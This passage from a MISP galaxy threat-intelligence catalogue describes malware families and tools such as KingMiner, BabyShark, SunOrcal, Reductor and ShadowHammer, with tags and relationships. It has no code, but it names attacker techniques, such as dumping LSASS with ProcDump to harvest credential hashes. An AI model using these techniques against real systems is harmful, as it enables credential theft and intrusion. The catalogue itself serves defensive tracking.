name KingMiner. They found that it targets Microsoft IIS and SQL Servers in particular and runs a brute-force attack to gain access. Once in, the malware determines the CPU architecture and checks for older versions of itself to remove them.

The tag is: misp-galaxy:tool="KingMiner"

The tag is: *misp-galaxy:tool*="Bushaloader"

**ANEL**

Backdoor

The tag is: *misp-galaxy:tool*="ANEL"

ANEL is also known as:

- **UPPERCUT**

**BabyShark**

BabyShark is a relatively new malware. The earliest sample we found from open source repositories and our internal data sets was seen in November 2018. The malware is launched by executing the first stage HTA from a remote location, thus it can be delivered via different file types including PE files as well as malicious documents. It exfiltrates system information to C2 server, maintains persistence on the system, and waits for further instruction from the operator.
StealthWorker

Hackers are running a new campaign which drops the StealthWorker brute-force malware on Windows and Linux machines that end up being used to brute force other computers in a series of distributed brute force attacks. As unearthed by FortiGuard Labs' Rommel Joven, the StealthWorker Golang-based brute forcer (also known as GoBrut) discovered by Malwarebytes at the end of February is actively being used to target and compromise multiple platforms. StealthWorker was previously connected to a number of compromised Magento-powered e-commerce websites on which attackers infiltrated skimmers designed to exfiltrate both payment and personal information. As later discovered, the malware is capable of exploiting a number of vulnerabilities in to infiltrate Magento, phpMyAdmin, and cPanel Content Management Systems (CMSs), as well as brute force its way in if everything else fails.

SLUB Backdoor

The SLUB backdoor is a custom one written in the C++ programming language, statically linking curl library to perform multiple HTTP requests. Other statically-linked libraries are boost (for extracting commands from gist snippets) and JsonCpp (for parsing slack channel communication).

SLUB Backdoor has relationships with:

- similar: misp-galaxy:backdoor="SLUB" with estimative-language:likelihood-probability="likely"
Carp Downloader

In 2017, Unit 42 reported on and analyzed a low-volume malware family called Cardinal RAT. This malware family had remained undetected for over two years and was delivered via a unique downloader named Carp Downloader.

**KimJongRAT**

We conclude that this RAT/stealer is efficient and was also really interesting to analyse. Furthermore, the creator made efforts to look Korean, for example the author of the .pdf file is Kim Song Chol. He is the brother of Kim Jong-un, the leader of North Korea. We identified that the author of a variant of this stealer is another brother of Kim Jong-un. Maybe the author named every variant with the name of each brother. After some searches using Google, we identified another variant of this malware here: [http://contagiodump.blogspot.ca/2010/10/oct-08-cve-2010-2883-pdf-nuclear.html](http://contagiodump.blogspot.ca/2010/10/oct-08-cve-2010-2883-pdf-nuclear.html). The code of the malware available on the blog is closest to our case but with fewer features. In 2010, the password of the Gmail account was futurekimkim. Three years ago, the author was already fixated on the Kim family... The language of the resource stored in the .dll file is Korean (LANG_KOREAN). The owner of the Gmail mailbox is laoshi135.zhang and the secret question of this account is in Korean too. We don't know if the malware truly comes from Korea. However, thanks to these factors, we decided to name this sample KimJongRAT/Stealer.

The tag is: *misp-galaxy:tool="KimJongRAT"

</thead>
</table>

**JasperLoader**

JasperLoader employs a multi-stage infection process that features several obfuscation techniques that make analysis more difficult. It appears that this loader was designed with resiliency and flexibility in mind, as evidenced in later stages of the infection process.
Scranos

The malware Scranos infects with rootkit capabilities, burying deep into vulnerable Windows computers to gain persistent access — even after the computer restarts. Scranos only emerged in recent months, according to Bitdefender with new research out Tuesday, but the number of its infections has rocketed in the months since it was first identified in November.

Reaver

Unit 42 has discovered a new malware family we’ve named “Reaver” with ties to attackers who use SunOrcal malware. SunOrcal activity has been documented to at least 2013, and based on metadata surrounding some of the C2s, may have been active as early as 2010. The new family appears to have been in the wild since late 2016 and to date we have only identified 10 unique samples, indicating it may be sparingly used. Reaver is also somewhat unique in the fact that its final payload is in the form of a Control panel item, or CPL file. To date, only 0.006% of all malware seen by Palo Alto Networks employs this technique, indicating that it is in fact fairly rare.
SURTR

The Citizen Lab analyzed a malicious email sent to Tibetan organizations in June 2013. The email in question purported to be from a prominent member of the Tibetan community and repurposed content from a community mailing list. Attached to the email were what appeared to be three Microsoft Word documents (.doc), but which were trojaned with a malware family we call “Surtr”.

All three attachments drop the exact same malware. We have seen the Surtr malware family used in attacks on Tibetan groups dating back to November 2012.

The tag is: `misp-galaxy:tool="SURTR"`

SURTR has relationships with:

- similar: `misp-galaxy:tool="Reaver"` with `estimative-language:likelihood-probability="roughly-even-chance"`
- similar: `misp-galaxy:tool="SunOrcal"` with `estimative-language:likelihood-probability="roughly-even-chance"`

Table 5618. Table References

Links

https://otx.alienvault.com/pulse/588a7c8fe4166d1d84244b9a

SunOrcal

SunOrcal is a trojan malware family whose activity dates back to at least 2013. A version discovered in November 2017 incorporates steganography techniques and can collect C2 information via GitHub, obscuring its C2 infrastructure and evading detection using the legitimate site for its first beacon. The threat actors have targeted users in the Vietnam area, spreading phishing emails containing malicious documents purportedly regarding South China Sea disputes. The new SunOrcal version has also been used with the recently discovered Reaver trojan and the original SunOrcal version. Some of the recent activity also incorporates the use of the Surtr malware.

The tag is: `misp-galaxy:tool="SunOrcal"`

SunOrcal has relationships with:

- similar: `misp-galaxy:tool="Reaver"` with `estimative-language:likelihood-probability="roughly-even-chance"`
- similar: `misp-galaxy:tool="SURTR"` with `estimative-language:likelihood-probability="roughly-even-chance"`

Table 5619. Table References
Bookworm

Threat actors have delivered Bookworm as a payload in attacks on targets in Thailand. Readers who are interested in this campaign should start with our first blog that lays out the overall functionality of the malware and introduces its many components. Unit 42 does not have detailed targeting information for all known Bookworm samples, but we are aware of attempted attacks on at least two branches of government in Thailand. We speculate that other attacks delivering Bookworm were also targeting organizations in Thailand based on the contents of the associated decoys documents, as well as several of the dynamic DNS domain names used to host C2 servers that contain the words “Thai” or “Thailand”. Analysis of compromised systems seen communicating with Bookworm C2 servers also confirms our speculation on targeting with a majority of systems existing within Thailand.

**COMpfun**

The COMpfun malware was initially documented by G-DATA in 2014. Although G-DATA didn't identify which actor was using this malware, Kaspersky tentatively linked it to the Turla APT, based on the victimology. Our telemetry indicates that the current campaign using Reductor started at the end of April 2019 and remained active at the time of writing (August 2019). We identified targets in Russia and Belarus.

The tag is: `misp-galaxy:tool="COMpfun"`

Table 5623. Table References

Links

https://securelist.com/compfun-successor-reductor/93633/

**Reductor**

We called these new modules ‘Reductor’ after a .pdb path left in some samples. Besides typical RAT functions such as uploading, downloading and executing files, Reductor’s authors put a lot of effort into manipulating digital certificates and marking outbound TLS traffic with unique host-related identifiers. The Kaspersky Attribution Engine shows strong code similarities between this family and the COMPfun Trojan. Moreover, further research showed that the original COMpfun Trojan most probably is used as a downloader in one of the distribution schemes. Based on these similarities, we're quite sure the new malware was developed by the COMPfun authors.

The tag is: `misp-galaxy:tool="Reductor"`

**ProcDump**

Legitimate tool - command-line tool used to monitor a running process and dump memory depending on custom criteria. The attackers use this tool to dump the LSASS process to gather WINDOWS credentials hashes

The tag is: *misp-galaxy:tool="ProcDump"*

**CertMig**

Legitimate tool - command-line tool used to import and export certificates on a machine. The attackers use this tool to gather credentials used for VPN authentication to the clients' networks

The tag is: *misp-galaxy:tool="CertMig"*

**Netscan**

Legitimate tool - tool used to scan IPv4/IPv6 networks and remotely execute PowerShell commands.

The tag is: *misp-galaxy:tool="Netscan"*

**ShadowHammer**

Malware embedded in Asus Live Update in 2018. ShadowHammer triggers its malicious behavior only if the computer it is running on has a network adapter with the MAC address whitelisted by the attacker.

The tag is: *misp-galaxy:tool="ShadowHammer"*

*Table 5625. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**DePriMon**

DePriMon is a malicious downloader, with several stages and using many non-traditional techniques. To achieve persistence, the malware registers a new local port monitor – a trick falling under the “Port Monitors” technique in the MITRE ATT&CK knowledgebase. For that, the malware uses the “Windows Default Print Monitor” name; that’s why we have named it DePriMon. Due to its complexity and modular architecture, we consider it to be a framework.

The tag is: *misp-galaxy:tool="DePriMon"*

Private Internet Access

Private Internet Access provides state of the art, multi-layered security with advanced privacy protection using VPN tunneling.

The tag is: *misp-galaxy:tool="Private Internet Access"

Private Internet Access is also known as:

- PIA

Netcat

Reads from and writes to network connections using TCP or UDP protocols.

The tag is: *misp-galaxy:tool="Netcat"

NBTScan

NBTScan is a program for scanning IP networks for NetBIOS name information (similar to what the Windows nbtstat tool provides against single hosts). It sends a NetBIOS status query to each address in a supplied range and lists received information in human readable form. For each responded host it lists IP address, NetBIOS computer name, logged-in user name and MAC address.

The tag is: *misp-galaxy:tool="NBTScan"

PowerGhost

PowerGhost is capable of stealthily establishing itself in a system and spreading across large corporate networks infecting both workstations and servers. This type of hidden consolidation is typical of miners: the more machines that get infected and the longer they remain that way, the greater the attacker’s profits. Therefore, it’s not uncommon to see clean software being infected with a miner; the popularity of the legitimate software serves to promote the malware’s
proliferation. The creators of PowerGhost, however, went further and started using fileless techniques to establish the illegal miner within the victim system.

The tag is: *misp-galaxy:tool="PowerGhost"
